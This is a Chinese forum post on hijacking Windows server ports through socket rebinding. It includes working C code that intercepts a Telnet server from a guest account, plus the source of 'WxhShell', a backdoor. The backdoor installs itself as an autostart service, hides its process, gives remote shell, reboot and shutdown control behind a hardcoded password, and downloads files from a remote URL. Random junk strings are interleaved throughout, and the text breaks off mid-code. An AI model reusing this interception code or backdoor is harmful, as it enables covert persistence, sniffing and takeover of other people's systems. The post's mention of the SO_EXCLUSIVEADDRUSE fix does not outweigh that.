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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: bmhvC9  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); l/[@1(F  
=1)yI>2e%}  
  saddr.sin_family = AF_INET; `23&vGk}  
]ms#*IZ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); )<9g+^  
~-lIOQ.v  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Tz+2g&+  
$&nF1HBI4  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =#n05*^  
e"hm|'  
  这意味着什么?意味着可以进行如下的攻击: Yi&;4vC  
V\%;S  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 f!e8xDfA  
@)m[: n  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) !tv3.:eT  
6Z ~>d;&9  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 f( hK>H  
HD?z   
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  &5Ea6j  
Hx2UDHF  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Q#urx^aw  
2V/ A%  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;gy_Qf2U  
.}kUD]pW  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  kOETx  
a+)Yk8%KY  
  #include f'TjR#w  
  #include sn2SDHY  
  #include ?`AzgM[I  
  #include    2,/("lV@0  
  DWORD WINAPI ClientThread(LPVOID lpParam);   *:\-:*  
  int main() X|L.fB=  
  { %;^[WT`,  
  WORD wVersionRequested; `x~k}  
  DWORD ret; 9~ajEs  
  WSADATA wsaData; k^z)Vu|f.  
  BOOL val; .hn{m9|U  
  SOCKADDR_IN saddr; cz OhSbmc  
  SOCKADDR_IN scaddr;  N~EM`d  
  int err; B RG1/f d  
  SOCKET s; %Gl,V5z&  
  SOCKET sc; Y<:%_]]  
  int caddsize; ktU98Bk]  
  HANDLE mt; Sq/M %z5'  
  DWORD tid;   ml.l( 6A  
  wVersionRequested = MAKEWORD( 2, 2 ); iBwl(,)?m2  
  err = WSAStartup( wVersionRequested, &wsaData ); l6Ze6X I  
  if ( err != 0 ) { ?JzLn,&  
  printf("error!WSAStartup failed!\n"); x% k4Lm  
  return -1; Ig"Krz  
  } "'94E,W  
  saddr.sin_family = AF_INET; }C"EkT!F  
   y^Oj4Y:  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =bded(3Z  
vlw2dY@^  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 8II-'%S6q  
  saddr.sin_port = htons(23); 3F5r3T6j}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) j^llO1i/  
  { eqD%Qdx  
  printf("error!socket failed!\n"); )_ NQ*m  
  return -1; $.R$I&U  
  } Ik>sd@X*|  
  val = TRUE; Jh{(xGA  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 @{@x2'-A  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) @Rig@  
  { 9Wb9g/L  
  printf("error!setsockopt failed!\n"); yf*MG&}  
  return -1; 9x?" %b  
  } hx+a.N  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Mto3Ryic!  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 K*'(;1AiW  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 t2BkQ8vr  
~/! Zh  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) wHWd~K_q  
  { 6JmS9ho  
  ret=GetLastError(); ORs<<H.d  
  printf("error!bind failed!\n"); LV0g *ng  
  return -1; ZWG$MFEjl  
  } ]d9;YVAU  
  listen(s,2); lD6hL8[  
  while(1) oPk2ac  
  { <uU AAHi  
  caddsize = sizeof(scaddr); ,'= Y  
  //接受连接请求 &1F)/$,v  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); w)&]k#r  
  if(sc!=INVALID_SOCKET) y,DK@X  
  { 6>%)qc$i  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); zY(w`Hm2  
  if(mt==NULL) _;yp^^S  
  { ~uqJ@#o{  
  printf("Thread Creat Failed!\n"); 8{6KWqG\  
  break; *P$5k1  
  } i'L7t!f}o  
  } O1JGv8Nr  
  CloseHandle(mt); qe"5&cc1  
  } ] \4-e2N`\  
  closesocket(s); +&O[}%W  
  WSACleanup(); 5G_*T  
  return 0; <& 8cq@<  
  }   2"'0OQN0\  
  DWORD WINAPI ClientThread(LPVOID lpParam) - tF5$pb'  
  { RB\>$D  
  SOCKET ss = (SOCKET)lpParam; cwz %LKh  
  SOCKET sc; O2:m)@  
  unsigned char buf[4096]; k>K23(X  
  SOCKADDR_IN saddr; JR$Dp&]I  
  long num; :?RooJ~#  
  DWORD val; Fng":28o  
  DWORD ret; .J%}ROm  
  //如果是隐藏端口应用的话,可以在此处加一些判断 4eU};Pv  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   '@AK0No\W  
  saddr.sin_family = AF_INET;  3iV/7~ O  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); W7l/{a @  
  saddr.sin_port = htons(23); *VIM!/YW  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) e l'^9K  
  { 6y%BJU.I  
  printf("error!socket failed!\n"); _66zXfM<  
  return -1; hs2f3;)  
  } zIH[ :  
  val = 100; :?@d\c '  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fhLdM  
  { Z&s+*& TM  
  ret = GetLastError(); ;g^QH r  
  return -1; kkyn>Wxv  
  } w{F8]N>0<  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h[C!cX  
  { yf3%g\k  
  ret = GetLastError(); {Ylj]  
  return -1; 9H1R0iWW  
  } \r324Bw>2  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) q}ZZqYk  
  { <Sm =,Sw  
  printf("error!socket connect failed!\n"); k:m~'r8z  
  closesocket(sc); f3y_&I+zl  
  closesocket(ss); I?4J69'  
  return -1; V F6OC4 K  
  } @K4} cP  
  while(1) gO*cX&  
  { +SrE  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 =H>rX 2k  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 x@v,qF$K  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 $SG^, !!&A  
  num = recv(ss,buf,4096,0); OZ![9l  
  if(num>0) mrqCW]#u  
  send(sc,buf,num,0); &KbtW_  
  else if(num==0) M[Y|$I}  
  break; 9w11kut-!  
  num = recv(sc,buf,4096,0); /'TzHO9_`  
  if(num>0) WYRTt2(+%  
  send(ss,buf,num,0); .DHZs#R  
  else if(num==0) S'Yg!KwX  
  break; s:*gjoL  
  } g}ciG!0  
  closesocket(ss); Hi,_qlc+  
  closesocket(sc); +]I;C  
  return 0 ; p|(910OEQ  
  } Arir=q^2  
9^v|~f  
U6jlv3  
========================================================== 6\4oHRJC  
s3g$F23  
下边附上一个代码,,WXhSHELL U+@yx>!  
%[lX  H  
========================================================== H$(%FWzQ%  
L.U [eH  
#include "stdafx.h" |oSyyDYWP  
CyzvQfpZr  
#include <stdio.h> ppb]RN|)  
#include <string.h> .A\9|sRZ5  
#include <windows.h> ETSBd[  
#include <winsock2.h> Vfg144FG'  
#include <winsvc.h>  ;lW0p8  
#include <urlmon.h> 0e q>  
9S=9m[#y'  
#pragma comment (lib, "Ws2_32.lib") hS*3yCE"8  
#pragma comment (lib, "urlmon.lib") zoC/Hm  
>AN`L`%2  
#define MAX_USER   100 // 最大客户端连接数 U lj2 Py}  
#define BUF_SOCK   200 // sock buffer /  DeI s  
#define KEY_BUFF   255 // 输入 buffer EZ1H0fm  
5SR 29Z[  
#define REBOOT     0   // 重启 ;]Y.2 J  
#define SHUTDOWN   1   // 关机 ZS>}NN  
m[ay  
#define DEF_PORT   5000 // 监听端口 K`(STvtM  
g@MTKqs  
#define REG_LEN     16   // 注册表键长度 {n$9o  
#define SVC_LEN     80   // NT服务名长度 eW\7X%I  
3z\:{yl  
// 从dll定义API +c}fDrr)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w^G<]S {l  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); U>:CX XHRt  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .Ks&r  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); aWOApXJ  
W zy8  
// wxhshell配置信息 lG%oqxJ+ L  
struct WSCFG { l:j9lBS  
  int ws_port;         // 监听端口 [ {lF1+];@  
  char ws_passstr[REG_LEN]; // 口令 {s=QwZdR  
  int ws_autoins;       // 安装标记, 1=yes 0=no aina6@S  
  char ws_regname[REG_LEN]; // 注册表键名 &IXr*I  
  char ws_svcname[REG_LEN]; // 服务名 sKn>K/4JZ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 JY9Hqf  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 e#FaK^V  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .s7o$u~l  
int ws_downexe;       // 下载执行标记, 1=yes 0=no FT`y3 ~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;P5\EJo  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <MT_zET  
(V{bfDu&h@  
}; 1i bQ'bZ  
0/{-X[z  
// default Wxhshell configuration dE/Vl/:  
struct WSCFG wscfg={DEF_PORT, #3kR}Amow  
    "xuhuanlingzhe", WAqR70{KM  
    1, u"X8(\pOn  
    "Wxhshell", [A*vl9=  
    "Wxhshell", <JF78MD\  
            "WxhShell Service", #vLDNR  
    "Wrsky Windows CmdShell Service", rIW`(IG_  
    "Please Input Your Password: ", ;X|;/@@  
  1, zr84%_^  
  "http://www.wrsky.com/wxhshell.exe", KW+^9&lA  
  "Wxhshell.exe" dr,j~s  
    }; 3~s0ux[  
6NJ La|&n  
// 消息定义模块 U NQup;#h  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9XobTi3+'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?D57HCd`n  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; () b0Sh=  
char *msg_ws_ext="\n\rExit."; <C# s0UX  
char *msg_ws_end="\n\rQuit."; 1PLKcU  
char *msg_ws_boot="\n\rReboot..."; ~z32%k  
char *msg_ws_poff="\n\rShutdown..."; >=C)\Yfu)  
char *msg_ws_down="\n\rSave to "; XRP/E_4  
a ^4(7  
char *msg_ws_err="\n\rErr!"; F_YZV)q!W  
char *msg_ws_ok="\n\rOK!"; (t<i? >p  
-7m;rD4J  
char ExeFile[MAX_PATH]; -}4H'%Z(i  
int nUser = 0; Yk?ux Z4)H  
HANDLE handles[MAX_USER]; >[ lj8n  
int OsIsNt; jD H)S{k  
.N/4+[2p(  
SERVICE_STATUS       serviceStatus; 3,N7Nfe  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (873:"(  
m_\CK5T_  
// 函数声明 5>h2WL  
int Install(void); Vk0O^o  
int Uninstall(void); ^6J*yV%  
int DownloadFile(char *sURL, SOCKET wsh); mc!3FJ  
int Boot(int flag); <C${1FO7If  
void HideProc(void); e<iTU?eJM  
int GetOsVer(void); 6u8`,&U  
int Wxhshell(SOCKET wsl); +/x|P-  
void TalkWithClient(void *cs); "TN}=^A\F  
int CmdShell(SOCKET sock); M 80Us.  
int StartFromService(void); Pvbw>k;  
int StartWxhshell(LPSTR lpCmdLine); RoJ&dK  
;#r tV;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `z+:Z>>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); U?xl%qF`)  
G>#L  
// 数据结构和表定义 k E6\G}zj  
SERVICE_TABLE_ENTRY DispatchTable[] = BtU,1`El5  
{ =YLt?5|e  
{wscfg.ws_svcname, NTServiceMain}, 2<u vz<B  
{NULL, NULL} Pw$'TE}  
}; Kq-y1h]7H  
YdC:P# Nf  
// 自我安装 W%vh7>.  
int Install(void) H26 j]kY  
{ 0qR;Z{k  
  char svExeFile[MAX_PATH]; :Tj,;0#/  
  HKEY key; QD\S E  
  strcpy(svExeFile,ExeFile); v6oZD;;~  
)I!l:!Ij*D  
// 如果是win9x系统,修改注册表设为自启动 8MW|CM4Q  
if(!OsIsNt) { p9l&K/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _|*3uGo:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J fsCkS  
  RegCloseKey(key); Kpj0IfC,10  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d*q _DV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); li/O&@g`  
  RegCloseKey(key); 9dKrE_zK:  
  return 0; FUq@ dUv  
    } i3(bg,  
  } 1iF |t5>e  
} &?zJ|7rh@|  
else { xwK<f6H!y  
Y*J`Wf(w  
// 如果是NT以上系统,安装为系统服务 d/R:-{J)c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9RR1$( f  
if (schSCManager!=0) ~^Vt)/}Q  
{ EkXns%][L  
  SC_HANDLE schService = CreateService AQ+w%>G6  
  ( YW/YeID  
  schSCManager, 3f M  
  wscfg.ws_svcname, HC!$Z`}Y  
  wscfg.ws_svcdisp, RJBNY;0  
  SERVICE_ALL_ACCESS, 3+n&Ya1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n:k~\-&WJ  
  SERVICE_AUTO_START, O-  r"G  
  SERVICE_ERROR_NORMAL, zFQxW4G  
  svExeFile, o @&#*3<_e  
  NULL, .bnoK  
  NULL, CXA)Zl5#  
  NULL, fyQAQZT  
  NULL, UN,@K9  
  NULL !7 *X{D v  
  ); 4fpz;2%  
  if (schService!=0) B.&q]CA v-  
  { `<\AnhNW]I  
  CloseServiceHandle(schService); T(3"bS.,  
  CloseServiceHandle(schSCManager); eeB^c/k(P  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); OBb  
  strcat(svExeFile,wscfg.ws_svcname); ,h>0k`J:a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { N],A&}30  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7i 6-Hq  
  RegCloseKey(key); h-jea1m  
  return 0; (h`||48d  
    } zL)m!:_  
  } w_\niqm<y  
  CloseServiceHandle(schSCManager); Z8nNZ<k  
} LD^V="d  
} % YU(,83(+  
EJZl'CR  
return 1; e ~*qi&,4  
} VN`2bp>5I  
*K m%Vl  
// 自我卸载 6 D~b9 e  
int Uninstall(void) 4[+n;OI  
{ -?'u"*#1,  
  HKEY key; CS6,mX  
?~u"w OH'  
if(!OsIsNt) { :K2N7?shA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { roL~r`f`  
  RegDeleteValue(key,wscfg.ws_regname); /r}t  
  RegCloseKey(key); =_Qt&B)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WR~uy|mX  
  RegDeleteValue(key,wscfg.ws_regname); G%rK{h  
  RegCloseKey(key); =%$ _)=}J  
  return 0; 52-^HV  
  } W%~ S~wx  
} VA2%2g2n{  
} xE4T\%-K  
else { g-')|0py  
::adT=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2eb :(D7Cq  
if (schSCManager!=0)  dsJ}C|N  
{ ^qV*W1|0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b6);bX>e  
  if (schService!=0) {b]WLBy  
  { (:E^} &A  
  if(DeleteService(schService)!=0) { _|H]X+|  
  CloseServiceHandle(schService); ,'82;oP4  
  CloseServiceHandle(schSCManager); Zf(ucAhL  
  return 0; 8]2S'm xE  
  } #M{}Grg  
  CloseServiceHandle(schService); ^$rt|]  
  } V^?+|8_(  
  CloseServiceHandle(schSCManager); 183'1Z$KA  
} p &XbXg-  
}  "FG6R'  
I uhyBo  
return 1; iM}cd$r{  
} zif()i   
nQ/(*d  
// 从指定url下载文件 CEI#x~Oq  
int DownloadFile(char *sURL, SOCKET wsh) KX`MX5?x  
{ I#$u(2.H  
  HRESULT hr; =\oNu&Q^  
char seps[]= "/"; Sy8o/-  
char *token; :Wb+&|dU  
char *file; kiqq_`66  
char myURL[MAX_PATH]; '4N[bRCn  
char myFILE[MAX_PATH];  !X |Tf  
iCz,|;w%  
strcpy(myURL,sURL); =o+t_.)N  
  token=strtok(myURL,seps); Lqwc:%Y:_  
  while(token!=NULL) g($y4~#  
  { N2q'$o  
    file=token; Q,)G_lO  
  token=strtok(NULL,seps); Yckl,g_  
  } srg#<oH|{c  
~#(bX]+A  
GetCurrentDirectory(MAX_PATH,myFILE); 5n?fZ?6(  
strcat(myFILE, "\\"); 6;5}% B:#h  
strcat(myFILE, file); ^Z\1z!{R  
  send(wsh,myFILE,strlen(myFILE),0); RHE< QG  
send(wsh,"...",3,0); CUY2eQJ{U  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mxDy!:@=  
  if(hr==S_OK) YzEa?F*$  
return 0; gIRFqEz@o  
else qRB&R$  
return 1; <qv:7@  
W}JJaZR*X  
} S@T> u,t'  
O+z-6:`  
// 系统电源模块 <R_3; 5J%  
int Boot(int flag) ><^A4s  
{ tXPS@4F  
  HANDLE hToken; ]Alu~Dw  
  TOKEN_PRIVILEGES tkp; # Wh"_zpM+  
gp(w6 :w  
  if(OsIsNt) { }2JSa8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "&v?>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I,t 0X)  
    tkp.PrivilegeCount = 1; 8 rnr>Ee@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "f5u2=7 }  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); va#~ \%`  
if(flag==REBOOT) { JWH}0+1*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @Q TG  
  return 0; ]3Mm"7`  
} "T#c#?  
else { ezHj?@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N b(se*Y#  
  return 0; B/pNM81(  
} D`,@EW].  
  } C^l) n!fq  
  else { evtn/.kDR  
if(flag==REBOOT) { v)rN] b]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +h*&r ~T  
  return 0; RC\TPG/8!  
} ib uA~\5  
else { :i?Z1x1`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $"x(:  
  return 0; Auv/w}zrr  
} <}.)kg${O  
} l.b  
gY;N>Yq,C  
return 1; %xWmzdn  
} vT3LhN+1  
)pJ}o&J  
// win9x进程隐藏模块 vJXd{iQE@C  
void HideProc(void) p7 2+:I  
{ 9.PY49|  
H$\?D+xlf  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); lL%7lO   
  if ( hKernel != NULL )  <}B|4($  
  { OM2|c}]ZQ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r|0C G^:C  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^W#[6]S  
    FreeLibrary(hKernel); _VR4 |)1g  
  } x{Gih 1  
zM[WbB+"m  
return; [o|]>(tk  
} $#"}g#u  
zz02F+H$Y  
// 获取操作系统版本 KLA nW#  
int GetOsVer(void) 8v(Xr}q,r  
{ (;Lz `r'  
  OSVERSIONINFO winfo; xp><7{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?55('+{l  
  GetVersionEx(&winfo); PS \QbA  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) lWnV{/q\X  
  return 1; TSE(Kt  
  else C8NbxP  
  return 0; yHT}rRS8  
} `1pri0!  
n>Zkx+jLj<  
// 客户端句柄模块 F~RUb&*/<  
int Wxhshell(SOCKET wsl) MQR2UK (  
{ APK@Oq  
  SOCKET wsh; Q"Q|]f*  
  struct sockaddr_in client; 15nc  
  DWORD myID; G++kU o<  
]l+2Ca:-[j  
  while(nUser<MAX_USER) B-M|}T  
{ ]1D>3  
  int nSize=sizeof(client); i?*&1i@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $OjsaE %  
  if(wsh==INVALID_SOCKET) return 1; 7"8HlOHA  
jzzVZ%t  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }yB@?  
if(handles[nUser]==0) !j7b7<wR  
  closesocket(wsh); zhYE#hv2  
else ojyG|Y  
  nUser++; E7*1QR{Q  
  } ~49+$.2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4.??U!r>KI  
= ng\  
  return 0; 5<d Y,FvX  
} p'xj:bB  
1d-j_ H`s  
// 关闭 socket U0)(k}Q)  
void CloseIt(SOCKET wsh) w8{deSdfP  
{ _>3GNvS  
closesocket(wsh); I0OsaX'  
nUser--; XUMCz7&j  
ExitThread(0); Or6'5e?N  
} 9';0vrFeM  
ts9N$?0:V  
// 客户端请求句柄 %>24.i"l  
void TalkWithClient(void *cs) fI"`[cA"]  
{ CGv(dE,G&]  
[nG/>Z]W  
  SOCKET wsh=(SOCKET)cs; bM;tQ38*  
  char pwd[SVC_LEN]; /dWuHS  
  char cmd[KEY_BUFF]; j}h50*6KO  
char chr[1]; a&Z|3+ZA  
int i,j; m=%W<8[V  
QuF%m^aE  
  while (nUser < MAX_USER) { i37W^9 R  
s'/.ea V_  
if(wscfg.ws_passstr) { gs0,-)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :_^9.`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %J+$p\c  
  //ZeroMemory(pwd,KEY_BUFF); "gK2!N|#  
      i=0; YZ*Si3L   
  while(i<SVC_LEN) { 1X#`NUJ?2  
w8@MUz}/#  
  // 设置超时 XtQ3$0{*%  
  fd_set FdRead; uiiA)j*!  
  struct timeval TimeOut; " I_T  
  FD_ZERO(&FdRead); 1 C[#]krh  
  FD_SET(wsh,&FdRead); BDB-OJ  
  TimeOut.tv_sec=8; ",~3&wx  
  TimeOut.tv_usec=0; %e1<N8E4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R@"N{ [9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^P{'l^CVX  
)03.6 Pvs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QP\vN|r  
  pwd=chr[0]; y& Dd  
  if(chr[0]==0xd || chr[0]==0xa) { -R&h?ec  
  pwd=0; <`M Hra8  
  break; (& ~`!]  
  } ~vF.k,  
  i++; Ulktd^A\  
    } B]]M?pS  
6j` waK  
  // 如果是非法用户,关闭 socket MJ92S(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4["}U1sG  
} 0udE\/4!^  
TOBAh.1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); kdW i!Hp  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4|Y0 $(6o  
;M'R/JlUN  
while(1) { />f`X+d  
SM^6+L"BE  
  ZeroMemory(cmd,KEY_BUFF); L(8Q%oX%o  
71)HxC[6vA  
      // 自动支持客户端 telnet标准   +}^} <|W6  
  j=0; B}?/oZW 4  
  while(j<KEY_BUFF) { &/7GhZRt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F htf4  
  cmd[j]=chr[0]; 9_TZ;e  
  if(chr[0]==0xa || chr[0]==0xd) { }[75`pC~O  
  cmd[j]=0; e7hPIG  
  break; _L: /2  
  } *$hO C%(  
  j++; >,~JQ%1  
    } xJO[pT v  
5Impv3qaZ  
  // 下载文件 if `/LJsa  
  if(strstr(cmd,"http://")) { ]-ZD;kOr  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _ROe!w  1  
  if(DownloadFile(cmd,wsh)) y:v0& 9L  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6 #QS 5  
  else YemOP9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J@R+t6$3O  
  } SSH/q/  
  else { '!y ^  
}>h?W1  
    switch(cmd[0]) { gzC\6ca  
  %K%8 ~B  
  // 帮助 2+Fq'!  
  case '?': { >\@6i s  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); gbI0?G6XN/  
    break; C6/,-?%)  
  } h~nl  
  // 安装 j.m-6  
  case 'i': { KIuYWr7&  
    if(Install()) }>p)|Y T"/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \l]jX: 9(  
    else Qp-nr]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "+)ey> _  
    break; X @\! \  
    } uQ&xoDCB  
  // 卸载 LoTq2/  
  case 'r': { ^@tn+'.  
    if(Uninstall())  [bv.`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (xxJ^u>QC  
    else ,ciNoP*-~%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O81})r*Y  
    break; s+ 0$_&xR  
    } d;'@4NX5+  
  // 显示 wxhshell 所在路径 .11iulQ  
  case 'p': { K` U\+AE  
    char svExeFile[MAX_PATH]; (]iw#m{  
    strcpy(svExeFile,"\n\r"); rT"8e*LT  
      strcat(svExeFile,ExeFile); M g;;o  
        send(wsh,svExeFile,strlen(svExeFile),0); ;jnnCXp>  
    break; 5M*ZZ+YX  
    } o^>*aQ!7<D  
  // 重启 }TYCF@  
  case 'b': { SIbQs8h]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F.T~txQ~u  
    if(Boot(REBOOT)) J.El&Dev  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )"f>cYF  
    else { Q&n|tQ*4  
    closesocket(wsh); &jg,8  
    ExitThread(0); bC)<AG@Z\  
    } I.\u2B/?  
    break; ;ATk?O4T  
    } f2yc]I<lr~  
  // 关机 v[HxO?x^  
  case 'd': { .8wR;^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *rW]HNz  
    if(Boot(SHUTDOWN)) ko  ~iDT  
